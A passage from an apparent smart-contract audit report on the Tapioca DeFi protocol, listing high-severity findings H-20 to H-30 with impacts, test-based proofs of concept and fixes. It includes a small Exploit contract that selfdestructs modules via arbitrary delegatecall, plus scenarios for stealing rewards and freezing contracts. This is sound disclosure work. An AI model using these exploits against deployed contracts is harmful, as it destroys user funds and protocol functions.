, as it now exists on the host chain due to sendFrom()
.
function participate(
...
tokenId = ++mintedTWTap;
//@audit this will always revert when tokenId already exists
_safeMint(_participant, tokenId);
Impact
An attacker will be able to permanent freeze the twTAP.participate()
. This will prevent TAP
holders from participating in the governance and from claiming rewards, causing loss of rewards to users.
Proof of Concept
Consider the following scenario,
- Suppose we start with
twTAP.mintedTwTap == 0
on all the chains, so next tokenId will be1
. - Attacker
participate()
with 1 TAP and minttwTAP
on a non-host chain withtokenId
1
. - Attacker sends the minted
twTAP
across to host chain usingtwTAP.sendFrom()
to permanently freeze thetwTAP
contract. - On the host chain, the
twTAP
contract receives the cross chain message and mint atwTAP
withtokenId
1
to attacker as it does not exist on host chain yet. (Note this cross-chain transfer is part of Layer Zero ONFT71 mechanism) - Now on the host chain, we have a
twTAP
withtokenId
1
butmintedTwTap
is still0
. That means when users try toparticipate()
on the host chain, it will try to mint atwTAP
withtokenId
1
, and that will fail as it now exists on the host chain. At this pointparticipate()
will be permanently DoS, affecting governance and causing loss of rewards. - Note that the attacker can then transfer the
twTAP
back to the source chain and exit position to retrieve the lockedTAP
token. However, the host chain still remain frozen as the owner oftokenId
1
will now betwTAP
contract itself after the cross chain transfer.
Note that the attack is still possible even when mintedTwTap > 0
on host chain as attacker just have to repeatly mint on the non-host chain till it obtain the required tokenId
.
Recommended Mitigation Steps
Add in access control to prevent host-chain-only operations such as participate()
from being executed on other chains .
[H-20] _liquidateUser()
should not re-use the same minimum swap amount out for multiple liquidation
Submitted by peakbolt, also found by carrotsmuggler, Nyx, n1punp, Ack, and rvierdiiev
Vulnerability details
In Singularity and BigBang, the minAssetAmount
in _liquidateUser()
is provided by the liquidator as a slippage protection to ensure that the swap provides the specified amountOut
. However, the same value is utilized even when liquidate()
is used to liquidate multiple borrowers.
function _liquidateUser(
...
uint256 minAssetAmount = 0;
if (dexData.length > 0) {
//@audit the same minAssetAmount is incorrectly applied to all liquidations
minAssetAmount = abi.decode(dexData, (uint256));
}
ISwapper.SwapData memory swapData = swapper.buildSwapData(
collateralId,
assetId,
0,
collateralShare,
true,
true
);
swapper.swap(swapData, minAssetAmount, address(this), "");
Impact
Using the same minAssetAmount
(minimum amountOut for swap) for the liquidation of multiple borrowers will result in inaccurate slippage protection and transaction failure.
If minAssetAmount
is too low, there will be insufficient slippage protection and the the liquidator and protocol could be short changed with a worse than expected swap.
If minAssetAmount
is too high, the liquidation will fail as the swap will not be successful.
Proof of Concept
First scenario
- Liquidator liquidates two loans X & Y using
liquidate()
, and set theminAssetAmount
to be 1000 USDO. - Loan X liquidated collateral is worth 1000 USDO and the swap is completely successful with zero slippage.
- However, Loan Y liquidated collateral is worth 5000 USDO, but due to low liquidity in the swap pool, it was swapped at 1000 USDO (
minAssetAmount
).
The result is that the liquidator will receive a fraction of the expected reward and the protocol gets repaid at 1/5 of the price, suffering a loss from the swap.
Second scenario
- Liquidator liquidates two loans X & Y using
liquidate()
, and set theminAssetAmount
to be 1000 USDO. - Loan X liquidated collateral is worth 1000 USDO and the swap is completely successful with zero slippage.
- we suppose Loan Y’s liquidated collateral is worth 300 USDO.
Now the minAssetAmount
of 1000 USDO will be higher than the collateral, which is unlikely to be completed as it is higher than market price. That will revert the entire liquidate()
, causing the liquidation of Loan X to fail as well.
Recommended Mitigation Steps
Update liquidate()
to allow liquidator to pass in an array of minAssetAmount
values that corresponding to the liquidated borrower.
An alternative, is to pass in the minimum expected price of the collateral and use that to compute the minAssetAmount
.
0xRektora (Tapioca) confirmed via duplicate issue 122
[H-21] Incorrect liquidation reward computation causes excess liquidator rewards to be given
Submitted by peakbolt, also found by minhtrng, bin2chen, carrotsmuggler, 0x007, and 0xRobocop (1, 2)
In _liquidateUser()
for BigBang and Singularity, the liquidator reward is derived by _getCallerReward()
. However, it is incorrectly computed using userBorrowPart[user]
, which is the portion of borrowed amount that does not include the accumulated fees (interests).
uint256 callerReward = _getCallerReward(
//@audit - userBorrowPart[user] is incorrect as it does not include accumulated fees
userBorrowPart[user],
startTVLInAsset,
maxTVLInAsset
);
Using only userBorrowPart[user]
is inconsistent with liquidation calculation in Market.sol#L423-L424, which is based on borrowed amount including accumulated fees.
function _isSolvent(
address user,
uint256 _exchangeRate
) internal view returns (bool) {
...
return
yieldBox.toAmount(
collateralId,
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
false
) >=
//@audit - note that the collateralizion calculation is based on borrowed amount with fees (using totalBorrow.elastic)
// Moved exchangeRate here instead of dividing the other side to preserve more precision
(borrowPart * _totalBorrow.elastic * _exchangeRate) /
_totalBorrow.base;
}
As the protocol uses a dynamic liquidation incentives mechanism (see below), the liquidator will be given more rewards than required if the liquidator reward is derived by borrowed amount without accumulated fees. That is because the dynamic liquidation incentives mechanism decreases the rewards as it reaches 100% LTV. So computing the liquidator rewards using a lower value (without fees) actually gives liquidator a higher portion of the rewards.
function _getCallerReward(
uint256 borrowed,
uint256 startTVLInAsset,
uint256 maxTVLInAsset
) internal view returns (uint256) {
if (borrowed == 0) return 0;
if (startTVLInAsset == 0) return 0;
if (borrowed < startTVLInAsset) return 0;
if (borrowed >= maxTVLInAsset) return minLiquidatorReward;
uint256 rewardPercentage = ((borrowed - startTVLInAsset) *
FEE_PRECISION) / (maxTVLInAsset - startTVLInAsset);
int256 diff = int256(minLiquidatorReward) - int256(maxLiquidatorReward);
int256 reward = (diff * int256(rewardPercentage)) /
int256(FEE_PRECISION) +
int256(maxLiquidatorReward);
return uint256(reward);
}
Impact
The protocol is shortchanged as it gives liquidator more rewards than required.
Proof of Concept
- Add the following console.log to BigBang.sol#L581`
console.log(" callerReward (without fees) = \t %d (actual)", callerReward);
callerReward= _getCallerReward(
//userBorrowPart[user],
//@audit borrowed amount with fees
(userBorrowPart[user] * totalBorrow.elastic) / totalBorrow.base,
startTVLInAsset,
maxTVLInAsset
);
console.log(" callerReward (with fees) = \t %d (expected)", callerReward);
- Add and run the following test in
bigBang.test.ts
. The console.log will show that the expected liquidator reward is lower when computed using borrowed amount with fees.
it.only('peakbolt - liquidation reward computation', async () => {
const {
wethBigBangMarket,
weth,
wethAssetId,
yieldBox,
deployer,
eoa1,
__wethUsdcPrice,
__usd0WethPrice,
multiSwapper,
usd0WethOracle,
timeTravel,
} = await loadFixture(register);
await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);
await weth
.connect(eoa1)
.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox
.connect(eoa1)
.setApprovalForAll(wethBigBangMarket.address, true);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await weth.connect(eoa1).freeMint(wethMintVal);
const valShare = await yieldBox.toShare(
wethAssetId,
wethMintVal,
false,
);
await yieldBox
.connect(eoa1)
.depositAsset(
wethAssetId,
eoa1.address,
eoa1.address,
0,
valShare,
);
console.log("wethMintVal = %d", wethMintVal);
console.log("__wethUsdcPrice = %d", __wethUsdcPrice);
console.log("--------------------- addCollateral ------------------------");
await wethBigBangMarket
.connect(eoa1)
.addCollateral(eoa1.address, eoa1.address, false, 0, valShare);
//borrow
const usdoBorrowVal = wethMintVal
.mul(74)
.div(100)
.mul(__wethUsdcPrice.div((1e18).toString()));
console.log("--------------------- borrow ------------------------");
await wethBigBangMarket
.connect(eoa1)
.borrow(eoa1.address, eoa1.address, usdoBorrowVal);
// Can't liquidate
const swapData = new ethers.utils.AbiCoder().encode(
['uint256'],
[1],
);
timeTravel(100 * 86400);
console.log("--------------------- price drop ------------------------");
const priceDrop = __usd0WethPrice.mul(15).div(10).div(100);
await usd0WethOracle.set(__usd0WethPrice.add(priceDrop));
await wethBigBangMarket.updateExchangeRate();
const borrowPart = await wethBigBangMarket.userBorrowPart(
eoa1.address,
);
console.log("--------------------- liquidate (success) ------------------------");
await expect(
wethBigBangMarket.liquidate(
[eoa1.address],
[borrowPart],
multiSwapper.address,
swapData,
),
).to.not.be.reverted;
return;
});
Recommended Mitigation Steps
Change BigBang.sol#L576-L580, SGLLiquidation.sol#L310-L314, Market.sol#L364 from
uint256 callerReward = _getCallerReward(
userBorrowPart[user],
startTVLInAsset,
maxTVLInAsset
);
to
uint256 callerReward = _getCallerReward(
(userBorrowPart[user] * totalBorrow.elastic) / totalBorrow.base,
startTVLInAsset,
maxTVLInAsset
);
0xRektora (Tapioca) confirmed via duplicate issue 89
[H-22] Lack of safety buffer between liquidation threshold and LTV ratio for borrowers to prevent unfair liquidations
Submitted by peakbolt
In BigBang and Singularity, there is no safety buffer between liquidation threshold and LTV ratio, to protects borrowers from being immediately liquidated due to minor market movement when the loan is taked out at max LTV.
The safety buffer also ensure that the loans can be returned to a healthy state after the first liquidation. Otherwise, the loan can be liquidated repeatly as it will remain undercollateralized after the first liquidation.
Detailed Explanation
The collateralizationRate
determines the LTV ratio for the max amount of assets that can be borrowed with the specific collateral. This check is implemented in _isSolvent()
as shown below.
function _isSolvent(
address user,
uint256 _exchangeRate
) internal view returns (bool) {
// accrue must have already been called!
uint256 borrowPart = userBorrowPart[user];
if (borrowPart == 0) return true;
uint256 collateralShare = userCollateralShare[user];
if (collateralShare == 0) return false;
Rebase memory _totalBorrow = totalBorrow;
return
yieldBox.toAmount(
collateralId,
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
false
) >=
// Moved exchangeRate here instead of dividing the other side to preserve more precision
(borrowPart * _totalBorrow.elastic * _exchangeRate) /
_totalBorrow.base;
}
However, the liquidation start threshold, which is supposed to be higher (e.g. 80%) than LTV ratio (e.g. 75%), is actually using the same collateralizationRate
value. We can see that computeClosingFactor()
allow liquidation to start when the loan is at max LTV.
uint256 liquidationStartsAt = (collateralPartInAssetScaled *
collateralizationRate) / (10 ** ratesPrecision);
Impact
Borrowers can be unfairly liquidated and penalized due to minor market movement when taking loan at max LTV. Also loan can be repeatedly liquidated regardless of closing factor as it does not return to healthy state after the first liquidation.
Proof of Concept
Consider the following scenario,
- Borrower take out loan at max LTV (75%).
- Immediately after the loan is taken out, the collateral value dropped slightly due to minor market movement and the loan is now at 75.000001% LTV.
- However, as the liquidation start threshold begins to at 75% LTV, bots start to liquidate the loan, before the borrower could react and repay the loan.
- The liquidation will cause the loan to remain undercollateralized despite the closing factor.
- As the loan is still unhealthy, the bots will then be able to repeatly liquidate the loan.
- Borrower is unfairly penalized and suffers losses due to the liquidations.
Recommended Mitigation Steps
Implement the liquidation threshold as a separate state variable and ensure it is higher than LTV to provide a safety buffer for borrowers.
cryptotechmaker (Tapioca) confirmed and commented:
The user is not liquidated for his entire position but only for the amount necessary for the loan to become solvent again.
Loaning up to the collateralization rate threshold is up to the user and opening such an edging position comes with some risks that the user should be aware of.
However, adding the buffer seems fair. It can remain as a ‘High’.
[H-23] Refund mechanism for failed cross-chain transactions does not work
Submitted by peakbolt, also found by Kaysoft, windhustler, carrotsmuggler (1, 2), xuwinnie, and cergyk
There is a refund mechanism in USDO
and TOFT
modules that will return funds when the execution on the destination chain fails.
It happens when module.delegatecall()
fails, where the following code (see below) will trigger a refund of the bridged fund to the user. After that a revert is then ‘forwarded’ to the main executor contract (BaseUSDO
or BaseTOFT
).
However, the issue is that the revert will also reverse the refund even when the revert is forwarded.
if (!success) {
if (balanceAfter - balanceBefore >= amount) {
IERC20(address(this)).safeTransfer(leverageFor, amount);
}
//@audit - this revert will actually reverse the refund before this
revert(_getRevertMsg(reason)); //forward revert because it's handled by the main executor
}
Although the main executor contract will _storeFailedMessage()
to allow users to retryMessage()
and re-execute the failed transaction, it will not go through if the error is permanent. That means the retryMessage()
will also revert and there is no way to recover the funds.
Impact
User will lose their bridged fund if the cross chain execution encounters a permanent error, which will permanently lock up the bridged funds in the contract as there is no way to recover it.
Proof of Concept
- Add a
revert()
inleverageUpInternal()
withinUSDOLeverageModule.sol#L197
as follows, to simulate a permanent failure for the remote execution at destination chain.
function leverageUpInternal(
uint256 amount,
IUSDOBase.ILeverageSwapData memory swapData,
IUSDOBase.ILeverageExternalContractsData memory externalData,
IUSDOBase.ILeverageLZData memory lzData,
address leverageFor
) public payable {
//@audit - to simulate a permanent failure for this remote execution (e.g. issue with swap)
revert();
...
}
- Add the following
console.log
to singularity.test.ts#L4113
console.log("USDO_10 balance for deployer.address (expected to be equal to 10000000000000000000) : ", await USDO_10.balanceOf(deployer.address));
- Run the test case
'should bounce between 2 chains'
under'multiHopBuyCollateral()'
tests insingularity.test.ts
. It will show that thedeployer.address
fails to receive the refund amount.
Recommended Mitigation Steps
Implement a ‘pull’ mechanism for users to withdraw the refund instead of ‘pushing’ to the user.
That can be done by using a a new state variable within USDO
and TOFT
to store the refund amount for the transaction with the corresponding payloadHash
for failedMessages
mapping.
Checks must be implemented to ensure that if user withdraws the refund, the corresponding failedMessages
entry is cleared so that the user cannot retry the transaction again.
Similarly, if retryMessage()
is used to re-execute the transaction successfully, the refund amount in the new state variable should be cleared.
0xRektora (Tapioca) confirmed via duplicate issue #1410
[H-24] Incorrect formula used in function Market.computeClosingFactor()
Submitted by KIntern_NA, also found by carrotsmuggler and 0xRobocop
Incorrect amount of assets that will be liquidated
Proof of Concept
Function BigBang._liquidateUser()
is used to liquidate an under-collateralization position in the market. This function calls BigBang._updateBorrowAndCollateralShare()
to calculate the amount of borrowPart
and collateralShare
that will be removed from the user’s position and update the storage.
The amount of borrowPart
to be removed can be calculated using the function Market.computeClosingFactor()
. This amount will then be converted to borrowAmount
, which is the corresponding elastic amount, and be used to determine the amount of collateralShare
that needs to be removed.
However, the returned value from Market.computeClosingFactor()
is incorrect, which leads to the wrong update for the user’s position.
To prove the statement above, let’s denote:
x
: The elastic amount that will be removed to execute the liquidation.userElastic
anduserElastic'
: The elastic amount corresponding touserBorrowPart[user]
before and after the liquidation.collateralShare
andcollateralShare'
: The value ofuserCollateralShare[user]
before and after the liquidation.-
Following the implementation of
yieldBox.toAmount()
andyieldBox.toShare()
, in one transaction we can denote that:yieldBox.toAmount()
: A multiplication expression with a constantC
.yieldBox.toShare()
: A division expression with constantC
.
Following the update of these variables depicted in the function BigBang._updateBorrowAndCollateralShare()
, we have:
- $userElastic' = userElastic - x$
- $collateralShare' = collateralShare - \frac{x \times (1+liquidationMultiplier)*\frac{exchangeRate}{10^{18}}}{C}$
After the liquidation, the function Market._isSolvent(user)
must return true. In other words, at least the following equation should hold:
- $C \times (collateralShare' \times \frac{collateralRate}{10^5} \times \frac{10^{18}}{exchangeRate}) = userElastic'$
Solving the equation, we get:
- $C \times (collateralShare' \times \frac{collateralRate}{10^5} \times \frac{10^{18}}{exchangeRate}) = userElastic'$
- $C \times collateralShare \times \frac{collateralRate}{10^5} \times \frac{10^{18}}{exchangeRate} - x \times (1 + \frac{liquidationMultiplier}{10^5}) \times \frac{collateralizationRate}{10^5} = userElastic - x$
- $x = \frac{userElastic - C \times collateralShare \times \frac{collateralRate}{10^5} \times \frac{10^{18}}{exchangeRate}}{1 - (1 + \frac{liquidationMultiplier}{10^5}) * \frac{collateralizationRate}{10^5}}$
So, the returned value of the function Market.computeClosingFactor()
should be the corresponding base amount of x
(totalBorrow.toBase(x, false)
).
Comparing it to the current implementation of computeClosingFactor()
, we can see the issues are:
- The implementation uses the
borrowPart
in the numerator instead of the corresponding elastic amount ofborrowPart
. - The multiplication with
borrowPartDecimals
andcollateralPartDecimals
doesn’t make sense since these decimals can be different and may cause the numerator to underflow.
Recommended Mitigation Steps
Correct the formula of function computeClosingFactor()
following the section “Proof of Concept”.
cryptotechmaker (Tapioca) confirmed
[H-25] Overflow risk in Market contract
Submitted by KIntern_NA
Actions of users (borrow, repay, removeCollateral, …) in Martket contract might be reverted by overflow, resulting in their funds might be frozen.
Proof of concept
Function _isSolvent
in Market
contract use conversion from share to amount of yieldBox.
yieldBox.toAmount(
collateralId,
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
false
)
It will trigger _toAmount
function in YieldBoxRebase
contract
function _toAmount(
uint256 share,
uint256 totalShares_,
uint256 totalAmount,
bool roundUp
) internal pure returns (uint256 amount) {
totalAmount++;
totalShares_ += 1e8;
amount = (share * totalAmount) / totalShares_;
if (roundUp && (amount * totalShares_) / totalAmount < share) {
amount++;
}
}
The calculation amount = (share * totalAmount) / totalShares_
might be overflow because
share * totalAmount
= collateralShare * (EXCHANGE_RATE_PRECISION / FEE_PRECISION) * collateralizationRate * totalAmount
In the default condition,
EXCHANGE_RATE_PRECISION
= 1e18,
FEE_PRECISION
= 1e5,
collateralizationRate
= 0.75e18
The collateralShare
is equal to around 1e8 * collateralAmount
by default (because totalAmount++; totalShares_ += 1e8;
is present in the _toAmount
function).
=> share * totalAmount
~= (collateralAmount * 1e8) * (1e18 / 1e5) * 0.75e18 * totalAmount = collateralAmount * totalAmount * 0.75e39
This formula will overflow when collateralAmount * totalAmount
> 1.5e38. This situation can occur easily with 18-decimal collateral. As a consequence, user transactions will revert due to overflow, resulting in the freezing of market functionalities.
The same issue applies to the calculation of _computeMaxBorrowableAmount
in the Market contract.
Recommended Mitigation Steps
Reduce some variables used to trigger yieldBox.toAmount(), such as EXCHANGE_RATE_PRECISION
and collateralizationRate
, and use these variables to calculate with the obtained amount.
Example, the expected amount can be calculated as:
yieldBox.toAmount(
collateralId,
collateralShare
false
) * (EXCHANGE_RATE_PRECISION / FEE_PRECISION) * collateralizationRate
[H-26] Not enough TAP tokens to exercise if a user participates and exercises in the same epoch
Submitted by KIntern_NA
Users were unable to purchase their deserved amount of TAPs
Proof of Concept
During each epoch
and for a specific sglAssetID
, there is a fixed amount of TAP tokens that will be minted and stored in the STORAGE mapping singularityGauges[epoch][sglAssetID]
. Users have the option to purchase these TAP tokens by first calling the function TapiocaOptionBroker.participate()
and then executing TapiocaOptionBroker.exerciseOption()
before the position expires to buy TAPs at a discounted price. The amount of TAP tokens that a user can purchase with each position can be calculated using the formula:
eligibleTapAmount = position.amount * gaugeTotalForEpoch / totalPoolDeposited
- position.amount: The locked amount of the position in `sglAssetId`.
- gaugeTotalForEpoch: The total number of TAP tokens that can be minted for the `(epoch, sglAssetId)`.
- totalPoolDeposited: The total locked amount of all positions in `sglAssetId`.
The flaw arises when a user who participates in sglAssetId
in the current epoch can immediately call exerciseOption()
to purchase the TAP tokens. This results in a situation where the participants cannot exercise their expected TAP tokens.
For example:
- Both Alice and Bob participate in the broker with
position.amount = 1
. - The amount of TAP tokens allocated for the current epoch is
gaugeTotalForEpoch = 60
. - Alice calls
exerciseOption()
to buyeligibleAmount = 1 * 60 / 2 = 30
TAPs. - In the same epoch, Candice participates in the broker with
position.amount = 1
and immediately callsexerciseOption()
. She will buyeligibleAmount = 1 * 60 / 3 = 20
TAPs. - When Bob calls
exerciseOption
, he can buyeligibleAmount = 1 * 60 / 3 = 20
TAPs, but this cannot happen since if Bob decides to buy 20 TAPs, the total minted amount of TAPs will exceedgaugeTotalForEpoch
(30 + 20 + 20 = 70 > 60), resulting in a revert.
Recommended Mitigation Steps
Consider developing a technique similar to the one implemented in twTAP.sol
for storing the netAmounts
. When a user participates in the broker, perform the following actions:
netAmounts[block.timestamp+1] += lock.amount
netAmounts[lockTime+lockDuration] += lock.amount
[H-27] Attacker can pass duplicated reward token addresses to steal the reward of contract twTAP.sol
Submitted by KIntern_NA, also found by bin2chen and glcanvas
The attacker can exploit the contract twTAP.sol
to steal rewards.
Proof of Concept
The function twTAP.claimAndSendRewards() -> twTAP._claimRewardsOn()
is intended for users who utilize the cross-chain message of BaseTOFT.sol
to claim a specific set of reward tokens.
function _claimRewardsOn(
uint256 _tokenId,
address _to,
IERC20[] memory _rewardTokens
) internal {
uint256[] memory amounts = claimable(_tokenId);
unchecked {
uint256 len = _rewardTokens.length;
for (uint256 i = 0; i < len; ) {
uint256 claimableIndex = rewardTokenIndex[_rewardTokens[i]];
uint256 amount = amounts[i];
if (amount > 0) {
// Math is safe: `amount` calculated safely in `claimable()`
claimed[_tokenId][claimableIndex] += amount;
rewardTokens[claimableIndex].safeTransfer(_to, amount);
}
++i;
}
}
}
The internal function iterates through the list of reward tokens specified by the user after calculating the claimable amount for each token in the STORAGE array twTAP.rewardTokens[]
. Unfortunately, there is no check if the _rewardTokens
contain duplicated reward tokens, and the function claimable(_tokenId)
is not called after each iteration, which allows the attacker to manipulate the function call using the same reward address repeatedly.
For example,
- STORAGE array
rewardTokens[] = [usdc, usdt]
- The function
_claimRewardsOn()
is called with_rewardTokens[] = [usdt, usdt]
. In each iteration, theclaimableIndex
will berewardTokenIndex[usdc] = 0
, which transfers the usdt two times to the attacker.
Recommended Mitigation Steps
One solution to mitigate this issue is to require the MEMORY array _rewardTokens
to be sorted in ascending order.
function _claimRewardsOn(
uint256 _tokenId,
address _to,
IERC20[] memory _rewardTokens
) internal {
uint256[] memory amounts = claimable(_tokenId);
unchecked {
uint256 len = _rewardTokens.length;
for (uint256 i = 0; i < len; ) {
// CHANGE HERE
if (i != 0) {
require(_rewardTokens[i] > _rewardTokens[i-1]);
}
uint256 claimableIndex = rewardTokenIndex[_rewardTokens[i]];
uint256 amount = amounts[i];
if (amount > 0) {
// Math is safe: `amount` calculated safely in `claimable()`
claimed[_tokenId][claimableIndex] += amount;
rewardTokens[claimableIndex].safeTransfer(_to, amount);
}
++i;
}
}
}
By ensuring that the reward tokens are sorted in ascending order, we can prevent the exploit where the attacker claims the same reward token multiple times and effectively mitigate the vulnerability.
0xRektora (Tapioca) confirmed via duplicate issue 1304
[H-28] TOFT and USDO Modules Can Be Selfdestructed
Submitted by Ack, also found by BPZ, Breeje, ladboy233, offside0011, Kaysoft, 0x73696d616f, 0xrugpull_detector, carrotsmuggler, CrypticShepherd, ACai, kodyvim, and cergyk
All TOFT and USDO modules have public functions that allow an attacker to supply an address module
that is later used as a destination for a delegatecall. This can point to an attacker-controlled contract that is used to selfdestruct the module.
// USDOLeverageModule:leverageUp
function leverageUp(
address module,
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) public {
// .. snip ..
(bool success, bytes memory reason) = module.delegatecall( //@audit-issue arbitrary destination delegatecall
abi.encodeWithSelector(
this.leverageUpInternal.selector,
amount,
swapData,
externalData,
lzData,
leverageFor
)
);
if (!success) {
if (balanceAfter - balanceBefore >= amount) {
IERC20(address(this)).safeTransfer(leverageFor, amount);
}
revert(_getRevertMsg(reason)); //forward revert because it's handled by the main executor
}
// .. snip ..
}
Impact
Both BaseTOFT and BaseUSDO initialize the module addresses to state variables in the constructor. Because there are no setter functions to adjust these variables post-deployment, the modules are permanently locked to the addresses specified in the constructor. If those addresses are selfdestructed, the modules are rendered unusable and all calls to these modules will revert. This cannot be repaired.
// BaseUSDO.sol:constructor
constructor(
address _lzEndpoint,
IYieldBoxBase _yieldBox,
address _owner,
address payable _leverageModule,
address payable _marketModule,
address payable _optionsModule
) BaseUSDOStorage(_lzEndpoint, _yieldBox) ERC20Permit("USDO") {
leverageModule = USDOLeverageModule(_leverageModule);
marketModule = USDOMarketModule(_marketModule);
optionsModule = USDOOptionsModule(_optionsModule);
transferOwnership(_owner);
}
Proof of Concept
Attacker can deploy the Exploit
contract below, and then call each of the vulnerable functions with the address of the Exploit
contract as the module
parameter. This will cause the module to selfdestruct, rendering it unusable.
pragma solidity ^0.8.18;
contract Exploit {
address payable constant attacker = payable(address(0xbadbabe));
fallback() external payable {
selfdestruct(attacker);
}
}
Recommended Mitigation Steps
The module
parameter should be removed from the calldata in each of the vulnerable functions. Since the context of the call into these functions are designed to be delegatecalls and the storage layouts of the modules and the Base contracts are the same, the module
address can be retreived from storage instead. This will prevent attackers from supplying arbitrary addresses as delegatecall destinations.
0xRektora (Tapioca) confirmed via duplicate issue 146
[H-29] Exercise option cross chain message in the (m)TapiocaOFT will always revert in the destination, losing debited funds in the source chain
Submitted by 0x73696d616f, also found by KIntern_NA and bin2chen
Exercise option cross chain message in the (m)TapiocaOFT
will always revert in the destination, but works in the source chain, where it debits the funds from users. Thus, these funds will not be credited in the destination and are forever lost.
Proof of Concept
In the BaseTOFT
, if the packet from the received cross chain message in lzReceive()
is of type PT_TAP_EXERCISE
, it delegate calls to the BaseTOFTOptionsModule
:
function _nonblockingLzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal virtual override {
uint256 packetType = _payload.toUint256(0);
...
} else if (packetType == PT_TAP_EXERCISE) {
_executeOnDestination(
Module.Options,
abi.encodeWithSelector(
BaseTOFTOptionsModule.exercise.selector,
_srcChainId,
_srcAddress,
_nonce,
_payload
),
_srcChainId,
_srcAddress,
_nonce,
_payload
);
...
In the BaseTOFTOptionsModule
, the exercise()
function is declared as:
function exercise(
address module,
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) public {
...
}
Notice that the address module
argument is specified in the exercise()
function declaration, but not in the _nonBlockingLzReceive()
call to it. This will make the message always revert because it fails when decoding the arguments to the function call, due to the extra address module
argument.
The following POC illustrates this behaviour. The exerciseOption()
cross chain message fails on the destination:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTOptionsModule} from "contracts/tOFT/modules/BaseTOFTOptionsModule.sol";
import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import {ITapiocaOptionsBrokerCrossChain} from "tapioca-periph/contracts/interfaces/ITapiocaOptionsBroker.sol";
contract TapiocaOFTPOC is Test {
address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
uint16 internal constant PT_TAP_EXERCISE = 777;
event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);
function test_POC_ExerciseWrongArguments() public {
vm.createSelectFork("https://eth.llamarpc.com");
address optionsModule_ = address(new BaseTOFTOptionsModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid));
TapiocaOFT tapiocaOft_ = new TapiocaOFT(
LZ_ENDPOINT,
address(0),
IYieldBoxBase(address(3)),
"SomeName",
"SomeSymbol",
18,
block.chainid,
payable(address(1)),
payable(address(2)),
payable(address(3)),
payable(optionsModule_)
);
address user_ = makeAddr("user");
deal(user_, 2 ether);
vm.prank(user_);
tapiocaOft_.wrap{value: 1 ether}(user_, user_, 1 ether);
ITapiocaOptionsBrokerCrossChain.IExerciseOptionsData memory optionsData_;
ITapiocaOptionsBrokerCrossChain.IExerciseLZData memory lzData_;
ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData memory tapSendData_;
ICommonData.IApproval[] memory approvals_;
optionsData_.from = user_;
optionsData_.target = user_;
optionsData_.paymentTokenAmount = 1 ether;
optionsData_.oTAPTokenID = 1;
optionsData_.paymentToken = address(0);
optionsData_.tapAmount = 1 ether;
lzData_.lzDstChainId = 102;
lzData_.zroPaymentAddress = address(0);
lzData_.extraGas = 200_000;
tapSendData_.withdrawOnAnotherChain = false;
tapSendData_.tapOftAddress = address(0);
tapSendData_.lzDstChainId = 102;
tapSendData_.amount = 0;
tapSendData_.zroPaymentAddress = address(0);
tapSendData_.extraGas = 0;
tapiocaOft_.setTrustedRemoteAddress(102, abi.encodePacked(tapiocaOft_));
vm.prank(user_);
tapiocaOft_.exerciseOption{value: 1 ether}(
optionsData_,
lzData_,
tapSendData_,
approvals_
);
bytes memory lzPayload_ = abi.encode(
PT_TAP_EXERCISE,
optionsData_,
tapSendData_,
approvals_
);
vm.prank(LZ_ENDPOINT);
vm.expectEmit(true, true, true, true, address(tapiocaOft_));
emit MessageFailed(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_, vm.parseBytes("0x4e487b710000000000000000000000000000000000000000000000000000000000000041"));
tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
}
}
Tools Used
Vscode, Foundry
Recommended Mitigation Steps
Adding the extra module parameter when encoding the function call in _nonBlockingLzReceive()
would be vulnerable to someone calling the BaseTOFTOptionsModule
directly on function exercise()
with a malicious module
argument. It’s safer to remove the module
argument and call exerciseInternal()
directly, which should work since it’s a public
function.
function _nonblockingLzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal virtual override {
uint256 packetType = _payload.toUint256(0);
...
} else if (packetType == PT_TAP_EXERCISE) {
_executeOnDestination(
Module.Options,
abi.encodeWithSelector(
BaseTOFTOptionsModule.exercise.selector,
address(optionsModule), // here
_srcChainId,
_srcAddress,
_nonce,
_payload
),
_srcChainId,
_srcAddress,
_nonce,
_payload
);
...
[H-30] utilization
for _getInterestRate()
does not factor in interest
Submitted by ItsNio, also found by ItsNio and SaeedAlipoor01988
The calculation for utilization
in _getInterestRate()
does not factor in the accrued interest. This leads to _accrueInfo.interestPerSecond
being under-represented, and leading to incorrect interest rate calculation and potentially endangering conditions such as utilization > maximumTargetUtilization
on line 124.
Proof of Concept
The calculation for utilization
in the _getInterestRate()
function for SGLCommon.sol
occurs on lines 61-64 as a portion of the fullAssetAmount
(which is also problematic) and the _totalBorrow.elastic
. However, _totalBorrow.elastic
is accrued by interest on line 99. This accrued amount is not factored into the calculation for utilization
, which will be used to update the new interest rate, as purposed by the comment on line 111.
Recommended Mitigation Steps
Factor in the interest accrual into the utilization
calculation:
...
// Accrue interest
extraAmount =
(uint256(_totalBorrow.elastic) *
_accrueInfo.interestPerSecond *
